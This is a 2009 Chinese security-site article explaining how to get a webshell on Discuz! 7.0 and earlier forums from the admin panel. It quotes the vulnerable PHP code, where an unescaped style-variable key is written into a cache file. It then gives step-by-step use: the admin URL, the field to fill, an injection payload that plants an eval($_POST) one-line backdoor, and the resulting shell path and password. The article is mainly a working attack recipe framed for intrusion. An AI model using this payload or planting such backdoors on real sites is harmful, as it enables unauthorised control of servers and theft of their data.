首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>入侵实例>文章内容
Discuz! 7.0 及以下版本后台拿webshell(无需创始人)
来源:www.oldjun.com 作者:oldjun 发布时间:2009-07-15  

我很少关心之类的漏洞,已经很少拿站了,遇到DZ更加只是路过,也没去过多关心DZ的漏洞或者去研究代码;前不久论坛被人留下一个shell,害我检查半天,不过既然遇到了,那就公布出来方便大家。

我先声明:
1.这个不是我首发,很多牛牛很早之前就发现了,但没人公布,ring04h牛那貌似有个:http://ring04h.googlepages.com/dzshell.txt,估计知道的人很多了,我研究的少,知道迟了,惭愧惭愧;
2.我从拿到shell的IIS日志知道这里可以利用,即styles.inc.php这个文件,于是看了下,找到利用办法。后来经flyh4t提醒,居然与ring04h的那个方法一样,我落后了...

好了,不废话,看代码:

<?php
......
if(
$newcvar && $newcsubst) {
            if(
$db->result_first("SELECT COUNT(*) FROM {$tablepre}stylevars WHERE variable='$newcvar' AND styleid='$id'")) {
                
cpmsg('styles_edit_variable_duplicate''''error');
            } elseif(!
preg_match("/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/"$newcvar)) {
                
cpmsg('styles_edit_variable_illegal''''error');
            }
            
$newcvar strtolower($newcvar);
            
$db->query("INSERT INTO {$tablepre}stylevars (styleid, variable, substitute)
                VALUES ('$id', '$newcvar', '$newcsubst')"
);
        }
//插入变量数据,From www.oldjun.com
......
updatecache('styles');//更新缓存(写文件),From www.oldjun.com
......
?>

这是为某一style风格增加变量的代码,把变量名与变量的值存入数据库,虽然post过来的数据daddslashes了,但入库之后又都是纯净的数据了。

这里涉及到一个正则问题,判断变量名的:!preg_match("/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/", $newcvar),其中“\x7f-\xff”是指ASCII码值在127~255之间的字符,它们经常作为中文字符的首字节出现,所以可以利用其作为中文匹配的标志。于是这个匹配貌似只是允许字母或者中文做变量名,没其他高深的匹配,随便测试了下,一般情况下这个正则等于虚设:

<?php
    $newcvar
=$_GET['newcvar'];
    echo 
$newcvar;
    echo 
"<br>";
    if(!
preg_match("/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/"$newcvar)) {
                echo 
"haha";
            }else{
                echo 
'pass';
            }
    
?>

下面看看updatecache这个函数,在include里的cache.func.php文件里,先从数据库取出来,经过一段处理最终写入文件,具体我不描述了,我只谈谈重点,看一段函数:

function getcachevars($data, $type = 'VAR') {
    $evaluate = '';
    foreach($data as $key => $val) {
        if(is_array($val)) {
            $evaluate .= "\$$key = ".arrayeval($val).";\n";
        } else {
            $val = addcslashes($val, '\'\\');
            $evaluate .= $type == 'VAR' ? "\$$key = '$val';\n" : "define('".strtoupper($key)."', '$val');\n";
        }
    }
    return $evaluate;
}

啥也不说了,处理了value没处理key,而这个key就是之前我们提交的,干净的存在数据库里的值。关于数组的key,大家可以参考下幻影旅团第三期《高级PHP代码审核技术》,那篇文章好多地方谈到key的问题,dz这里却忽视了...

于是可以直接拿shell了,利用方法(论坛地址改成自己的),先用管理员帐号登陆后台,无需论坛创始人,管理员等级即可:
http://www.oldjun.com/bbs/admincp.php?action=styles&operation=edit&id=1&adv=1
中,最下面有个“自定义模板变量”,变量中填:

OLDJUN', '#999');eval($_POST[cmd]);//

替换内容随便输入:1111,然后提交,一句话木马就产生了:
http://www.oldjun.com/bbs/forumdata/cache/style_1.php

如果你修改的style的id是2的话,对于的shell就是style_2.php。

这个风格模板可以导入导出的,于是有了ring04h的那个dzshell,嫌麻烦可以直接用那个导入风格获取shell。

注:很多人反应连不上一句话,我发现我文章少说了一句:

$evaluate .= $type == 'VAR' ? "\$$key = '$val';\n" : "define('".strtoupper($key)."', '$val');\n";

这句话是说所有的变量名换成大写的了!

因此请用大写的CMD做为你一句话的密码!


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·另类网站入侵之一句话木马图片的
·0day批量拿站webshell,挖掘机是
·利用ewebeditor 5.5 - 6.0 鸡肋
·OmniPeek抓包的一点看法
·强大的嗅探工具ettercap使用教程
·Windows系统密码破解全攻略
·破解禁止SSID广播
·XSS偷取密码Cookies通用脚本
·XSS漏洞基本攻击代码
·Intel 3945ABG用OmniPeek 4.1抓
·KesionCMS V7.0科汛内容网站管理
·破解无线过滤MAC
  相关文章
·各类型数据库注入时的一些语句
·The Art of Grey-Box Attack
·渗透中国联通
·渗透利器:强大的溢出工具包--Me
·0day openssh remote exploit
·AspProductCatalog漏洞分析与利
·迅雷提权
·一次曲折入侵拿源代码过程(1)
·一次曲折入侵拿源代码过程(2)
·一次曲折入侵拿源代码过程(3)
·利用cpl文件在xp中留一个后门
·MSSQL注入利用Group by&having猜
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved